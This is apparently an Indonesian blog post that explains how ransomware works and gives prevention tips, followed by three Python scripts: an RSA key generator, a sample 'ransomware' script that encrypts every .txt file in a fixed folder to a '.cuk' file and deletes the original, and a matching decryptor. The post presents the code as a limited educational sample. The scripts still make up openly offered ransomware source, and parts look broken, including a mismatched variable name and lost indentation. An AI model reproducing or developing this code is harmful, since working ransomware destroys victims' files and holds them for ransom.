seperti yang telah kita ketahui ransomware sebuah malware (malicious software) yang mengenkripsi file atau data yang dimiliki korbanya. bagi yang menginginkan file atau datanya kembali harus membayar tebusan. Ransomware sangat mungkin digunakan sebagai alat perang untuk menyerang dan membuat data musuh terenkripsi sehingga data tersebut tidak dapat dibuka. Ransomware akan terus berkembang dan akan lebih sulit lagi dipecahkan enkripsinya. Ransomware pertama kali aku dengar sepak terjangnya sekitar tahun 2014 dan sempat memiliki samplenya untuk melihat algoritma enkripsi apa yang dipakai. Biasanya menggunakan RSA tapi ada juga yang menggunakan AES dan tak menutup kemungkinan keduanya dikombinasikan sehingga menjadi kompleks dan susah untuk dipecahkan. Dari sini akan timbul sebuah pertanyaan bagaimanakah sebuah ransomware bekerja? File ransomware yang diunduh oleh pengguna akan secara otomatis berjalan memanggil fungsi untuk membuat atau menggenerate kunci enkripsi dan dekripsi jika menggunakan rsa yang asymmetric key yang akan digunakan dalam mengenkripsi data dalam beberapa kasus mengirimkan private key ke server pemilik malware yang menginfeksi komputer korban. Setelah itu memanggil fungsi mencari dan menemukan file yang akan dienkripsi mulai dari file office, image dan teks dengan extensi office(doc, docx, xls, ppt, dll), image(png, jpg, dll), text(txt, dll) dalam kasus yang saya buat sebagai sample hanya menginfeksi file txt dan itupun dengan teks pendek ransomware yang riil menginveksi semua file yang baris datanya ribuan bahkan ratusan ribu. setelah menemukan file, file akan dibuka dan setelah data berhasil diambil kemudian ransomware memanggil fungsi enkripsi jika publickey disimpan di komputer korban maka akan diambil dari situ atau menggunakan yang dibuat fungsi pembuat key dan ditanam di dalam kode. Public key digunakan untuk menginkripsi data setelah berhasil data yang telah dienkripsi disimpan ke komputer korban dengan extensi sesuai dengan yang dibuat oleh pembuat sebagai sample extensi cuk misal data1.cuk kemudian data yang asli dihapus. Setelah itu ransomware akan menampilkan tulisan cara untuk mendapatkan data itu kembali dengan membayar tebusan dengan bitcoin. jika korban membayar tebusan dengan bitcoin pelaku akan memberikan program untuk mendekripsi yang mungkin dibatasi berapa data tergantung “kebaikan” penyerang. program dekripsi ketika dijalankan akan memanggil fungsi untuk mengambil atau mendapatkan private key yang akan digunakan untuk mendekripsi file yang telah dienkripsi setelah terdekripsi file akan disimpan dengan extensi sama dengan file asli misal data1.txt. Dari sini akan timbul pertanyaan bagaimana caranya mencegah agar tidak terinfeksi malware? Caranya yang paling bagus adalah hati-hati dalam mendownload file dari internet entah itu file musik, video, attach email, pdf, dll. Harus dari sumber yang terpercaya sebaik apapun kamu dalam ilmu cryptography kalau cryptography yang dipakai diluar kemampuan ya tetep aja file tersebut akan sulit didekripsi jadi jauh lebih bain dan bijak jika kita berhati-hati dan waspada untuk tidak sembarangan mengunduh sesuatu dari internet. Akan lebih baik lagi jika orang indonesia ada yang meneliti ransomware tentu saja akan lebih baik.
create_key.py
from Crypto.PublicKey import RSA
from Crypto import Random
def create_key(keysize):
random_generator = Random.new().read
key = RSA.generate(keysize, random_generator)
private, public = key, key.publickey()
return public, private
if __name__ == '__main__':
pubkey, privkey = create_key(1024)
fd=open("pubkey.pem","wb")
fd.write(pubkey.exportKey("PEM"))
fd.close()
fd = open("privkey.pem","wb")
fd.write(privkey.exportKey("PEM"))
fd.close()
ransomware.py
#!/usr/bin/env python3
import os
from Crypto.PublicKey import RSA
def enkripsi(openfile, key):
terenkripsi =b''
for enkrips in key.encrypt(openfile, len(openfile)):
terinkripsi=enkrips
return terinkripsi
if __name__ == '__main__':
path="/home/pi/sample-ransom"
fd = open('pubkey.pem','r')
pubkeyex= fd.read()
fd.close()
pubkey= RSA.importKey(pubkeyex)
for file in os.listdir(path):
if file.endswith('txt'):
pathfile= path+"/"+file
lsft = pathfile.split('.')
fd = open(lsft[0]+'.cuk', 'wb')
enkrip = enkripsi(open(pathfile, 'rb').read(), pubkey)
fd.write(enkrip)
os.remove(pathfile)
dekripfile.py
#!/usr/bin/env python3
import os
from Crypto.PublicKey import RSA
def dekripsi(openfile, key):
return key.decrypt(openfile).decode()
if __name__ == '__main__':
path="/home/pi/sample-ransom"
fd = open('privkey.pem','r')
privkeyex= fd.read()
fd.close()
privkey= RSA.importKey(privkeyex)
jumlah=0
print("processing",end="")
for file in os.listdir(path):
if file.endswith('cuk'):
print(".",end='')
jumlah += 1
pathfile= path+"/"+file
lsft = pathfile.split('.')
fd = open(lsft[0]+'.txt', 'w')
dekrip = dekripsi(open(pathfile, 'rb').read(), privkey)
fd.write(dekrip)
os.remove(pathfile)
print()
print('%d berkas telah dikembalikan'%jumlah)
catatan: program untuk menggenerate dan enkripsi dalam tulisan ini dipisah yang di file ransomware biasanya menjadi satu dengan enkripsi.